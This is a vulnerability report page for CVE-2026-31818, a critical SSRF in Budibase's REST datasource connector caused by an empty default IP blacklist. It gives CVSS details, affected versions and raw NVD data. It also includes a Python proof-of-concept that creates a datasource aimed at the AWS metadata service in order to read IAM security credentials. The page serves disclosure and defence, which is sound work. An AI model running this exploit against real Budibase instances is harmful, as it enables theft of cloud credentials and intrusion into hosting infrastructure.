Security Vulnerability Report
中文
CVE-2026-31818 CVSS 9.6 CRITICAL

CVE-2026-31818

Published: 2026-04-03 16:16:40
Last Modified: 2026-04-08 21:19:30

Description

Budibase is an open-source low-code platform. Prior to version 3.33.4, a server-side request forgery (SSRF) vulnerability exists in Budibase's REST datasource connector. The platform's SSRF protection mechanism (IP blacklist) is rendered completely ineffective because the BLACKLIST_IPS environment variable is not set by default in any of the official deployment configurations. When this variable is empty, the blacklist function unconditionally returns false, allowing all requests through without restriction. This issue has been patched in version 3.33.4.

CVSS Details

CVSS Score
9.6
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N

Configurations (Affected Products)

cpe:2.3:a:budibase:budibase:*:*:*:*:*:*:*:* - VULNERABLE
Budibase < 3.33.4

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Target Budibase instance URL TARGET_URL = "http://vulnerable-budibase-instance.com" # Endpoint to create a datasource (API endpoint may vary based on version) API_ENDPOINT = f"{TARGET_URL}/api/datasources" # Attacker's low-privilege API token API_TOKEN = "Bearer <LOW_PRIVILEGE_TOKEN>" # Malicious URL to target internal resources (e.g., AWS Metadata Service) # Since BLACKLIST_IPS is empty, this request will not be blocked. MALICIOUS_URL = "http://169.254.169.254/latest/meta-data/iam/security-credentials/" headers = { "Authorization": API_TOKEN, "Content-Type": "application/json" } # Payload to create a REST datasource pointing to an internal address payload = { "name": "SSRF_Test_Datasource", "type": "rest", "source": { "url": MALICIOUS_URL } } try: print(f"Sending SSRF payload to {API_ENDPOINT}...") response = requests.post(API_ENDPOINT, json=payload, headers=headers) if response.status_code == 200 or response.status_code == 201: print("[+] Request successful. SSRF likely triggered.") print(f"[+] Response: {response.text}") else: print(f"[-] Request failed with status code: {response.status_code}") print(f"[-] Response: {response.text}") except Exception as e: print(f"[!] An error occurred: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-31818", "sourceIdentifier": "[email protected]", "published": "2026-04-03T16:16:39.800", "lastModified": "2026-04-08T21:19:30.370", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Budibase is an open-source low-code platform. Prior to version 3.33.4, a server-side request forgery (SSRF) vulnerability exists in Budibase's REST datasource connector. The platform's SSRF protection mechanism (IP blacklist) is rendered completely ineffective because the BLACKLIST_IPS environment variable is not set by default in any of the official deployment configurations. When this variable is empty, the blacklist function unconditionally returns false, allowing all requests through without restriction. This issue has been patched in version 3.33.4."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N", "baseScore": 9.6, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 5.8}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:L", "baseScore": 9.9, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.1, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-918"}, {"lang": "en", "value": "CWE-1188"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:budibase:budibase:*:*:*:*:*:*:*:*", "versionEndExcluding": "3.33.4", "matchCriteriaId": "B316A29C-7C2F-4102-ACF6-DDB06B3D0AD5"}]}]}], "references": [{"url": "https://github.com/Budibase/budibase/commit/5b0fe83d4ece52696b62589cba89ef50cc009732", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/Budibase/budibase/pull/18236", "source": "[email protected]", "tags": ["Issue Tracking", "Patch"]}, {"url": "https://github.com/Budibase/budibase/releases/tag/3.33.4", "source": "[email protected]", "tags": ["Product", "Release Notes"]}, {"url": "https://github.com/Budibase/budibase/security/advisories/GHSA-7r9j-r86q-7g45", "source": "[email protected]", "tags": ["Exploit", "Mitigation", "Vendor Advisory"]}]}}